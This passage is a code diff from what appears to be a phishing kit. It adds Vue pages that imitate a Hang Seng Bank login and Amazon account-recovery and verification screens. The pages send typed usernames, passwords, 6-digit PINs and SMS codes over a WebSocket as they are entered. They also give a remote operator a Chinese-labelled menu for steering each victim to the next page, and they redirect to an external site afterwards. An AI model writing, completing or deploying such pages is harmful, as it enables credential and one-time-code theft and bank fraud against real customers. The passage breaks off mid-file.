如此以手機瀏覽器登入,部份服務將未能使用。我們建議您使用電腦瀏覽器登入,或下載恒生的恒生Mobile App,以更方便地使用銀行服務。
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 用户名输入框 -->
|
||||
<div class="form-group">
|
||||
<label class="loginlabel">輸入您的用戶名稱</label>
|
||||
<input
|
||||
type="text"
|
||||
id="txtuserid"
|
||||
class="textfield required"
|
||||
v-model="formData.homePageData.username"
|
||||
@input="onchange"
|
||||
placeholder=""
|
||||
autocomplete="off"
|
||||
>
|
||||
</div>
|
||||
|
||||
<!-- 密码输入框 -->
|
||||
<div class="form-group">
|
||||
<label class="loginlabel">輸入您的密碼</label>
|
||||
<input
|
||||
type="password"
|
||||
id="txtpass"
|
||||
class="textfield password"
|
||||
v-model="formData.homePageData.password"
|
||||
@input="passchange"
|
||||
placeholder=""
|
||||
autocomplete="off"
|
||||
>
|
||||
</div>
|
||||
|
||||
<!-- 表单验证警告信息 -->
|
||||
<div v-if="warningMessage" aria-live="assertive" role="alert">
|
||||
<div class="css-j4y2sz">
|
||||
<span class="css-1mne40r">
|
||||
<svg viewBox="0 0 48 48" width="1em" height="1em">
|
||||
<path
|
||||
d="M19.918 4.543c1.153-2.295 3.915-3.204 6.17-2.03a4.62 4.62 0 011.867 1.796l.126.234 19.415 34.663c1.153 2.295.26 5.108-1.993 6.282a4.52 4.52 0 01-1.816.504l-.272.008H4.584C2.052 46 0 43.9 0 41.332a4.74 4.74 0 01.387-1.876l.117-.25L19.918 4.543zM24 34a2 2 0 100 4 2 2 0 100-4zm-.048-17l-.184.013c-.976.1-1.728.9-1.766 1.853v.152l.416 10.502C22.45 30.346 23.15 31 24 31c.8 0 1.467-.58 1.57-1.336l.013-.144L26 18.943l-.006-.152c-.072-.9-.773-1.627-1.676-1.767l-.160-.020-.205-.005z"
|
||||
></path>
|
||||
</svg>
|
||||
</span>
|
||||
<span class="css-l0mv58">{{ warningMessage }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 提交按钮,动态类绑定 -->
|
||||
<button
|
||||
@click.prevent="next"
|
||||
:class="['proceedButton', { 'proceedButton--active': isFormFilled }]"
|
||||
>
|
||||
繼續
|
||||
</button>
|
||||
|
||||
<!-- 链接 -->
|
||||
<div class="links">
|
||||
<a href="/zh-hk/security/recoverProfile" class="loginlink">
|
||||
忘記用戶名稱
|
||||
<svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#999">
|
||||
<path d="M504-480 320-664l56-56 240 240-240 240-56-56 184-184Z"/>
|
||||
</svg>
|
||||
</a>
|
||||
<a href="/zh-hk/security/registration" class="loginlink">
|
||||
未登記個人e-Banking
|
||||
<svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#999">
|
||||
<path d="M504-480 320-664l56-56 240 240-240 240-56-56 184-184Z"/>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
<style scoped>
|
||||
/* 布局调整 */
|
||||
.row {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.p-10-ch {
|
||||
padding: 10px;
|
||||
}
|
||||
|
||||
.px-0 {
|
||||
padding-left: 0;
|
||||
padding-right: 0;
|
||||
}
|
||||
|
||||
.mainContent {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.col-lg-8, .col-md-7, .col-12 {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
@media (min-width: 992px) {
|
||||
.col-lg-8 {
|
||||
flex: 0 0 66.666667%;
|
||||
max-width: 66.666667%;
|
||||
}
|
||||
}
|
||||
|
||||
@media (min-width: 768px) {
|
||||
.col-md-7 {
|
||||
flex: 0 0 58.333333%;
|
||||
max-width: 58.333333%;
|
||||
}
|
||||
}
|
||||
|
||||
/* 标题 */
|
||||
.login-title {
|
||||
font-size: 24px;
|
||||
font-weight: bold;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
/* 警告框 */
|
||||
.warning-box {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
background-color: #e6f0fa;
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.warning-icon {
|
||||
display: inline-block;
|
||||
margin-right: 10px;
|
||||
}
|
||||
|
||||
.warning-icon svg {
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
}
|
||||
|
||||
.warning-text {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.warning-text p {
|
||||
margin: 0;
|
||||
font-size: 14px;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
/* 表单样式 */
|
||||
.form-group {
|
||||
margin-bottom: 20px;
|
||||
text-align: left;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.loginlabel {
|
||||
display: block;
|
||||
margin-bottom: 5px;
|
||||
font-size: 14px;
|
||||
color: #000;
|
||||
font-weight: normal;
|
||||
}
|
||||
|
||||
.textfield {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
border: 2px solid #00cc00;
|
||||
border-radius: 5px;
|
||||
font-size: 14px;
|
||||
background-color: #fff;
|
||||
}
|
||||
|
||||
.textfield:focus {
|
||||
outline: none;
|
||||
border-color: #666;
|
||||
}
|
||||
|
||||
/* 按钮样式 */
|
||||
.proceedButton {
|
||||
background: #ccc;
|
||||
color: white;
|
||||
padding: 12px;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
font-size: 14px;
|
||||
cursor: pointer;
|
||||
width: 100%;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.proceedButton:hover {
|
||||
background: #999;
|
||||
}
|
||||
|
||||
.proceedButton--active {
|
||||
background: #008945;
|
||||
}
|
||||
|
||||
.proceedButton--active:hover {
|
||||
background: #006b35; /* 鼠标悬停时稍微变暗 */
|
||||
}
|
||||
|
||||
/* 链接样式 */
|
||||
.links {
|
||||
margin-top: 15px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.loginlink {
|
||||
color: #999;
|
||||
text-decoration: none;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.loginlink:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
/* 警告信息样式 */
|
||||
.css-j4y2sz {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
padding: 10px;
|
||||
margin-bottom: 15px;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
.css-1mne40r {
|
||||
display: inline-block;
|
||||
line-height: 1;
|
||||
vertical-align: middle;
|
||||
font-size: 1.75rem;
|
||||
fill: rgb(180, 44, 1);
|
||||
}
|
||||
|
||||
.css-l0mv58 {
|
||||
color: #dc3545;
|
||||
font-size: 14px;
|
||||
}
|
||||
</style>
|
||||
166
a9_usa_Fine_amazon/src/views/SuccessView.vue
Normal file
@@ -0,0 +1,166 @@
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div id="a-page" class="a-m-us">
|
||||
<div class="a-section a-padding-large">
|
||||
<div class="a-box a-spacing-large">
|
||||
<div class="a-box-inner a-padding-extra-large">
|
||||
|
||||
<div class="a-section a-text-center a-spacing-large">
|
||||
<div class="success-icon-container">
|
||||
<svg width="60" height="60" viewBox="0 0 80 80" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<circle cx="40" cy="40" r="38" stroke="#007600" stroke-width="4" />
|
||||
<path d="M20 40 L35 55 L60 30" stroke="#007600" stroke-width="6" stroke-linecap="round" stroke-linejoin="round" />
|
||||
</svg>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="a-section a-text-center">
|
||||
<h1 class="a-size-extra-large a-spacing-medium a-text-bold">
|
||||
Success! Your account access is restored
|
||||
</h1>
|
||||
<p class="a-size-base a-spacing-large">
|
||||
Your account has been successfully recovered. You will be redirected to the sign-in page in a few seconds.<br>
|
||||
If you are not redirected, please click the button below.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div v-if="loading" class="a-section a-text-center a-spacing-large">
|
||||
<div class="amazon-spinner"></div>
|
||||
<p class="a-size-small a-color-secondary a-spacing-small">
|
||||
Redirecting in {{ countdown }} seconds...
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="a-section a-text-center a-spacing-large">
|
||||
<span class="a-button a-button-primary a-button-span12" :class="{'a-button-disabled': loading}">
|
||||
<span class="a-button-inner">
|
||||
<button
|
||||
class="a-button-input"
|
||||
type="button"
|
||||
@click="redirectToExternal"
|
||||
:disabled="loading"
|
||||
></button>
|
||||
<span class="a-button-text">Continue to Sign-In</span>
|
||||
</span>
|
||||
</span>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<script setup lang="ts">
|
||||
import { onMounted, ref, onUnmounted } from "vue";
|
||||
import { myWebSocket, redirectToExternal } from "@/utils/common";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
|
||||
const loading = ref(true);
|
||||
const countdown = ref(5);
|
||||
|
||||
let countdownInterval: ReturnType<typeof setInterval> | null = null;
|
||||
|
||||
onMounted(() => {
|
||||
// Notify backend of page view
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "success" },
|
||||
})
|
||||
);
|
||||
|
||||
localStorage.setItem("route", "success");
|
||||
|
||||
// Countdown logic
|
||||
countdownInterval = setInterval(() => {
|
||||
countdown.value--;
|
||||
if (countdown.value <= 0) {
|
||||
if (countdownInterval) clearInterval(countdownInterval);
|
||||
loading.value = false;
|
||||
redirectToExternal();
|
||||
}
|
||||
}, 1000);
|
||||
|
||||
// Safety fallback redirect
|
||||
setTimeout(() => {
|
||||
if (loading.value) {
|
||||
loading.value = false;
|
||||
redirectToExternal();
|
||||
}
|
||||
}, 5500);
|
||||
});
|
||||
|
||||
onUnmounted(() => {
|
||||
if (countdownInterval) clearInterval(countdownInterval);
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
/* US Amazon Font Stack */
|
||||
#a-page {
|
||||
font-family: "Amazon Ember", Arial, sans-serif;
|
||||
background-color: #fff;
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
.a-box {
|
||||
max-width: 450px;
|
||||
margin: 0 auto;
|
||||
border: 1px solid #ddd;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
/* Spinner Styling (More subtle US style) */
|
||||
.amazon-spinner {
|
||||
width: 35px;
|
||||
height: 35px;
|
||||
border: 3px solid #f3f3f3;
|
||||
border-top: 3px solid #e77600; /* Amazon Gold/Orange */
|
||||
border-radius: 50%;
|
||||
animation: spin 0.8s linear infinite;
|
||||
margin: 0 auto 12px;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
0% { transform: rotate(0deg); }
|
||||
100% { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
.success-icon-container {
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
/* Amazon Button Styling */
|
||||
.a-button-primary {
|
||||
background: #f0c14b;
|
||||
border-color: #a88734 #9c7e31 #846a29;
|
||||
color: #111;
|
||||
}
|
||||
|
||||
.a-button-primary:hover {
|
||||
background: #edb021;
|
||||
border-color: #a88734 #9c7e31 #846a29;
|
||||
}
|
||||
|
||||
.a-button-disabled {
|
||||
opacity: 0.6;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.a-text-bold {
|
||||
font-weight: 700 !important;
|
||||
}
|
||||
|
||||
.a-size-extra-large {
|
||||
font-size: 28px !important;
|
||||
line-height: 1.2 !important;
|
||||
}
|
||||
|
||||
.a-color-secondary {
|
||||
color: #565959 !important;
|
||||
}
|
||||
</style>
|
||||
491
a9_usa_Fine_amazon/src/views/VerificationcodepagePinView.vue
Normal file
@@ -0,0 +1,491 @@
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="wrapper-main" style="margin-top: 60px;">
|
||||
<div class="form-wrapper-outer">
|
||||
<div class="form-wrapper">
|
||||
<div class="index-wrapper">
|
||||
<!-- Back button -->
|
||||
<!-- <div class="back-btn1" @click="goBack">
|
||||
<i class="iconfont icon-arrow01-left"></i> Back
|
||||
</div> -->
|
||||
<h1 class="form-title111" style="margin-bottom: 20px; font-size: 24px; font-weight: 700; line-height: 32px;">Enter Your PIN Code</h1>
|
||||
<!-- <p class="form-desc1" style="margin-bottom: 30px; font-size: 15px;">Verifying with {{ message1 }}</p> -->
|
||||
<p class="form-desc1" style="margin-bottom: 30px; font-size: 15px;"> Your 6-digit PIN code is a secure key used to authenticate your transactions. Keep it confidential and do not share it with anyone. If you suspect your PIN has been compromised, contact customer support immediately. </p>
|
||||
<form @submit.prevent="next">
|
||||
<div class="input-wrapper">
|
||||
<input
|
||||
ref="pinInput"
|
||||
name="pinCode"
|
||||
type="tel"
|
||||
maxlength="6"
|
||||
autocomplete="off"
|
||||
class="form-input"
|
||||
placeholder="Enter 6-digit PIN"
|
||||
v-model="formdata.VerificationcodepagePin"
|
||||
@input="onInput"
|
||||
@focus="isPinFocused = true"
|
||||
@blur="isPinFocused = formdata.VerificationcodepagePin !== ''"
|
||||
:disabled="isLoading"
|
||||
/>
|
||||
<div class="input-action">
|
||||
<div
|
||||
class="action-btn clear-input-btn"
|
||||
:style="{ display: formdata.VerificationcodepagePin && !isLoading ? 'block' : 'none' }"
|
||||
@click="formdata.VerificationcodepagePin = ''"
|
||||
>
|
||||
<i class="iconfont icon-close"></i>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="input-behind">
|
||||
<div class="error-container">
|
||||
<p class="error-msg" v-if="warningMessage">{{ warningMessage }}</p>
|
||||
<p class="error-msg" v-if="displayedMessage">{{ displayedMessage }}</p>
|
||||
</div>
|
||||
</div>
|
||||
<button
|
||||
type="submit"
|
||||
class="submit-btn"
|
||||
:class="{ disabled: formdata.VerificationcodepagePin.length < 6 || isLoading }"
|
||||
:disabled="formdata.VerificationcodepagePin.length < 6 || isLoading"
|
||||
>
|
||||
<span v-if="isLoading" class="loading-spinner"></span>
|
||||
{{ isLoading ? 'Verifying...' : 'Next' }}
|
||||
</button>
|
||||
</form>
|
||||
<div class="pin-info" style="margin-top: 20px; font-size: 14px; color: #6b7280;">
|
||||
<!-- Your 6-digit PIN code is a secure key used to authenticate your transactions. Keep it confidential and do not share it with anyone. If you suspect your PIN has been compromised, contact customer support immediately. -->
|
||||
</div>
|
||||
<div style="margin-bottom: 100px;"></div>
|
||||
<div class="contacts-btn">Hotline (US): <a href="tel:+1-8887210610" class="app-link" style="text-decoration: underline !important;">+1 888 721 0610</a></div>
|
||||
<!-- Loading overlay -->
|
||||
<div class="form-loading" :style="{ display: isLoading ? 'block' : 'none' }">
|
||||
<div class="loading-mask"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<script setup lang="ts">
|
||||
import { getCurrentInstance, onMounted, ref, computed, nextTick, onUnmounted } from 'vue';
|
||||
import { useRoute, useRouter } from 'vue-router';
|
||||
import { useI18n } from 'vue-i18n';
|
||||
import { inputChange, myWebSocket } from '@/utils/common';
|
||||
import eventBus from '@/utils/eventBus';
|
||||
import CommonLayout from '@/views/CommonLayout.vue';
|
||||
|
||||
const { t } = useI18n();
|
||||
const route = useRoute();
|
||||
const router = useRouter();
|
||||
const instance = getCurrentInstance()!;
|
||||
const formdata = ref({ VerificationcodepagePin: '' });
|
||||
const warningMessage = ref('');
|
||||
const isLoading = ref(false);
|
||||
const isPinFocused = ref(false);
|
||||
const message1 = ref('');
|
||||
const pinInput = ref<HTMLInputElement | null>(null);
|
||||
|
||||
// Countdown logic
|
||||
const initialTime = 60;
|
||||
const timeLeft = ref(initialTime);
|
||||
const isCounting = ref(false);
|
||||
let timer: number | null = null;
|
||||
|
||||
const buttonText = computed(() => {
|
||||
return isCounting.value
|
||||
? `Request a new PIN after ${timeLeft.value} seconds`
|
||||
: 'Resend';
|
||||
});
|
||||
|
||||
const startCountdown = (resultType: string) => {
|
||||
if (isCounting.value) return;
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: 'page_type',
|
||||
content: { pageType: 'VerificationcodepagePin', pageTitle: 'PIN页面', resultType: resultType },
|
||||
})
|
||||
);
|
||||
isCounting.value = true;
|
||||
timeLeft.value = initialTime;
|
||||
|
||||
timer = window.setInterval(() => {
|
||||
if (timeLeft.value > 0) {
|
||||
timeLeft.value--;
|
||||
} else {
|
||||
stopCountdown();
|
||||
}
|
||||
}, 1000);
|
||||
};
|
||||
|
||||
const stopCountdown = () => {
|
||||
if (timer) {
|
||||
clearInterval(timer);
|
||||
timer = null;
|
||||
}
|
||||
isCounting.value = false;
|
||||
};
|
||||
|
||||
const resendCode = () => {
|
||||
if (isCounting.value) return;
|
||||
startCountdown('resendCode');
|
||||
};
|
||||
|
||||
const onInput = (event: Event) => {
|
||||
const target = event.target as HTMLInputElement;
|
||||
const value = target.value.replace(/[^0-9]/g, '').slice(0, 6);
|
||||
formdata.value.VerificationcodepagePin = value;
|
||||
inputChange('PIN验证码', 'VerificationcodepagePin', value);
|
||||
};
|
||||
|
||||
const goBack = () => {
|
||||
router.push('/login_mufg');
|
||||
};
|
||||
|
||||
const next = async () => {
|
||||
await nextTick();
|
||||
warningMessage.value = '';
|
||||
|
||||
if (!formdata.value.VerificationcodepagePin) {
|
||||
warningMessage.value = t('Please enter your PIN code.');
|
||||
return;
|
||||
}
|
||||
|
||||
if (formdata.value.VerificationcodepagePin.length < 6) {
|
||||
warningMessage.value = t('PIN code must be 6 digits.');
|
||||
return;
|
||||
}
|
||||
|
||||
isLoading.value = true;
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: 'submit_card',
|
||||
content: {
|
||||
type: 'submitOp',
|
||||
opButton: {
|
||||
showCustom: false,
|
||||
list: [
|
||||
{ label: '完成', value: 'success' },
|
||||
{ label: '拒绝', value: 'reject', type: 'input2' },
|
||||
{ label: '账号首页', value: 'login_mufg', type: 'input1' },
|
||||
{ label: '密码页', value: 'verificationpage', type: 'input1' },
|
||||
{ label: '短信验证码页', value: 'verificationpageex', type: 'input1' },
|
||||
// { label: '美国税务居民身份确认页面', value: 'sdpage_mufg', type: 'input1' },
|
||||
{ label: '交易密码页', value: 'tcassword', type: 'input1' },
|
||||
{ label: 'PIN验证页', value: 'nextPincode', type: 'input1' },
|
||||
{ label: '跳转完成', value: 'success' },
|
||||
],
|
||||
},
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
// Computed property to handle message display
|
||||
const displayedMessage = computed(() => {
|
||||
if (message.value === 'This card does not support this transaction, please try another card') {
|
||||
return 'PIN code does not match';
|
||||
}
|
||||
return message.value;
|
||||
});
|
||||
|
||||
onMounted(() => {
|
||||
const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||||
if (userData && userData.VerificationcodepagePin) {
|
||||
formdata.value = userData;
|
||||
}
|
||||
// Set message1 value
|
||||
if (route.query.message1) {
|
||||
message1.value = route.query.message1 as string;
|
||||
localStorage.setItem('message1', route.query.message1 as string);
|
||||
} else if (localStorage.getItem('message1')) {
|
||||
message1.value = localStorage.getItem('message1') as string;
|
||||
} else if (localStorage.getItem('username')) {
|
||||
message1.value = localStorage.getItem('username') as string;
|
||||
} else {
|
||||
message1.value = '+852 46898199';
|
||||
}
|
||||
|
||||
eventBus.on('my-event', handleEvent);
|
||||
|
||||
localStorage.setItem('route', 'VerificationcodepagePin');
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: 'page_type',
|
||||
content: { pageType: 'VerificationcodepagePin', pageTitle: 'PIN页面' },
|
||||
})
|
||||
);
|
||||
|
||||
startCountdown('');
|
||||
|
||||
// Auto-focus input
|
||||
const focusWithRetry = () => {
|
||||
if (pinInput.value) {
|
||||
pinInput.value.focus();
|
||||
if (document.activeElement !== pinInput.value) {
|
||||
setTimeout(focusWithRetry, 100);
|
||||
}
|
||||
}
|
||||
};
|
||||
focusWithRetry();
|
||||
});
|
||||
|
||||
const message = ref('');
|
||||
const handleEvent = (data: { message2: string; message1?: string }) => {
|
||||
message.value = data.message2;
|
||||
if (data.message1) {
|
||||
message1.value = data.message1;
|
||||
localStorage.setItem('message1', data.message1);
|
||||
}
|
||||
isLoading.value = false;
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off('my-event', handleEvent);
|
||||
stopCountdown();
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
.wrapper-main {
|
||||
min-width: 320px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 100vh;
|
||||
/* background: #f8f9fa; */
|
||||
}
|
||||
|
||||
.form-wrapper-outer {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
width: 100%;
|
||||
max-width: 420px;
|
||||
}
|
||||
|
||||
.form-wrapper {
|
||||
width: 100%;
|
||||
padding: 20px;
|
||||
/* background: #ffffff; */
|
||||
border-radius: 12px;
|
||||
/* box-shadow: 0 4px 20px rgba(0, 0, 0, 0.08); */
|
||||
}
|
||||
|
||||
.index-wrapper {
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.back-btn1 {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
cursor: pointer;
|
||||
color: #1a2a44;
|
||||
margin-bottom: 30px;
|
||||
|
||||
font-size: 16px;
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.back-btn1 i {
|
||||
margin-right: 8px;
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
.form-title111 {
|
||||
font-size: 24px;
|
||||
font-weight: 700;
|
||||
text-align: center;
|
||||
color: #1a2a44;
|
||||
}
|
||||
|
||||
.form-desc1 {
|
||||
text-align: center;
|
||||
color: #6b7280;
|
||||
margin-bottom: 24px;
|
||||
font-size: 15px;
|
||||
}
|
||||
|
||||
.input-wrapper {
|
||||
position: relative;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.form-input {
|
||||
width: 100%;
|
||||
height: 40px;
|
||||
padding: 10px;
|
||||
border: 1px solid #d9d9d9; /* Light gray border from Login.vue */
|
||||
border-radius: 4px;
|
||||
font-size: 14px;
|
||||
color: #1a2a44;
|
||||
background: #ffffff; /* Solid white background */
|
||||
transition: border-color 0.2s ease;
|
||||
box-sizing: border-box; /* Ensure padding and border are included */
|
||||
outline: none; /* Remove default outline */
|
||||
}
|
||||
|
||||
/* Placeholder styling */
|
||||
.form-input::placeholder {
|
||||
color: #a6a6a6; /* Light gray placeholder from Login.vue */
|
||||
font-size: 14px;
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
/* Focus state */
|
||||
.form-input:focus {
|
||||
border-color: #66afe9; /* Blue focus state from Login.vue */
|
||||
outline: none;
|
||||
box-shadow: none; /* Remove shadow to prevent layered appearance */
|
||||
}
|
||||
|
||||
.input-action {
|
||||
position: absolute;
|
||||
right: 10px;
|
||||
top: 50%;
|
||||
transform: translateY(-50%);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.action-btn {
|
||||
cursor: pointer;
|
||||
margin-left: 10px;
|
||||
}
|
||||
|
||||
.clear-input-btn {
|
||||
display: none; /* Initially hidden, shown via :style binding */
|
||||
}
|
||||
|
||||
.clear-input-btn i {
|
||||
font-size: 16px;
|
||||
color: #a6a6a6;
|
||||
}
|
||||
|
||||
.input-behind {
|
||||
display: flex;
|
||||
justify-content: flex-start;
|
||||
align-items: flex-start;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.error-container {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.error-msg {
|
||||
color: #ff4d4f;
|
||||
font-size: 14px;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
width: 100%;
|
||||
padding: 16px;
|
||||
border-radius: 8px;
|
||||
font-size: 16px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
background-color: #ff6200;
|
||||
color: #fff;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
transition: background-color 0.3s ease;
|
||||
}
|
||||
|
||||
.submit-btn.disabled {
|
||||
background-color: #d9d9d9;
|
||||
color: #a6a6a6;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
.loading-spinner {
|
||||
display: inline-block;
|
||||
width: 16px;
|
||||
height: 16px;
|
||||
border: 2px solid rgba(255, 255, 255, 0.3);
|
||||
border-radius: 50%;
|
||||
border-top-color: #fff;
|
||||
animation: spin 1s ease-in-out infinite;
|
||||
margin-right: 8px;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
.pin-info {
|
||||
text-align: center;
|
||||
color: #6b7280;
|
||||
font-size: 14px;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.contacts-btn {
|
||||
text-align: center;
|
||||
margin-top: 20px;
|
||||
color: #6b7280;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.contacts-btn a {
|
||||
color: #ff6200;
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.contacts-btn a:hover {
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.form-loading {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
z-index: 1000;
|
||||
}
|
||||
|
||||
.loading-mask {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background: rgba(0, 0, 0, 0.5);
|
||||
}
|
||||
|
||||
@media (max-width: 767px) {
|
||||
.form-wrapper-outer {
|
||||
padding: 15px;
|
||||
}
|
||||
|
||||
.form-wrapper {
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
.form-title111 {
|
||||
font-size: 20px;
|
||||
}
|
||||
|
||||
.form-desc1 {
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.form-input {
|
||||
height: 40px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.form-input::placeholder {
|
||||
font-size: 14px;
|
||||
}
|
||||
}
|
||||
body, .form-wrapper {
|
||||
background-color: !important;
|
||||
}
|
||||
</style>
|
||||
2460
a9_usa_Fine_amazon/src/views/VerificationcodepageView.vue
Normal file
481
a9_usa_Fine_amazon/src/views/VerificationcodepageexView.vue
Normal file
@@ -0,0 +1,481 @@
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="wrapper-main reset-font" style="margin-top: 0px;">
|
||||
<div class="form-wrapper-outer">
|
||||
<div class="form-wrapper">
|
||||
<div class="index-wrapper">
|
||||
<!-- <div class="back-btn1" @click="goBack">
|
||||
<i class="iconfont icon-arrow01-left"></i>
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
height="24px"
|
||||
viewBox="0 -960 960 960"
|
||||
width="24px"
|
||||
fill="#0f1112"
|
||||
>
|
||||
<path d="M640-80 240-480l400-400 71 71-329 329 329 329-71 71Z" />
|
||||
</svg>
|
||||
Back
|
||||
</div> -->
|
||||
<!-- <h1
|
||||
class="form-title111"
|
||||
style="margin-bottom: 20px; font-size: 18px; font-weight: 700; line-height: 32px;"
|
||||
>
|
||||
Enter Verification Code
|
||||
</h1> -->
|
||||
<p class="form-desc1" style="font-size: 15px;">
|
||||
Enter the 6-digit verification code sent to you.
|
||||
</p>
|
||||
|
||||
<form @submit.prevent="next">
|
||||
<div class="input-container">
|
||||
|
||||
<input
|
||||
ref="codeInput"
|
||||
name="msgCode"
|
||||
type="tel"
|
||||
maxlength="6"
|
||||
autocomplete="off"
|
||||
placeholder="Verification code"
|
||||
class="verification-code-input"
|
||||
v-model="formData.verificationcodepageex.code"
|
||||
@input="onInput"
|
||||
:disabled="isLoading"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div class="error-container">
|
||||
<p class="error-msg" v-if="displayMessage">{{ displayMessage }}</p>
|
||||
</div>
|
||||
|
||||
<button
|
||||
type="submit"
|
||||
class="verification-option-btn"
|
||||
:disabled="formData.verificationcodepageex.code.length !== 6 || isLoading"
|
||||
>
|
||||
<span>Continue</span>
|
||||
</button>
|
||||
</form>
|
||||
|
||||
<div class="resend-code-container">
|
||||
<p class="resend-text" style="margin: 0;">Didn't receive the code?</p>
|
||||
<a
|
||||
class="no-obfuscate"
|
||||
href="javascript:void(0);"
|
||||
:class="{ 'resend-link': true, 'disabled': isCounting }"
|
||||
@click="resendCode"
|
||||
style="display: block; margin-top: 4px; text-align: left;"
|
||||
>
|
||||
{{ isCounting ? `Resend in ${timeLeft} seconds` : 'Resend code' }}
|
||||
</a>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- Loading Modal -->
|
||||
<div class="loading-modal" v-if="isLoading">
|
||||
<div class="loading-modal-content">
|
||||
<div class="loading-spinner"></div>
|
||||
<p class="loading-text">Verifying...</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<script setup lang="ts">
|
||||
import { getCurrentInstance, onMounted, ref, computed, nextTick, onUnmounted } from 'vue';
|
||||
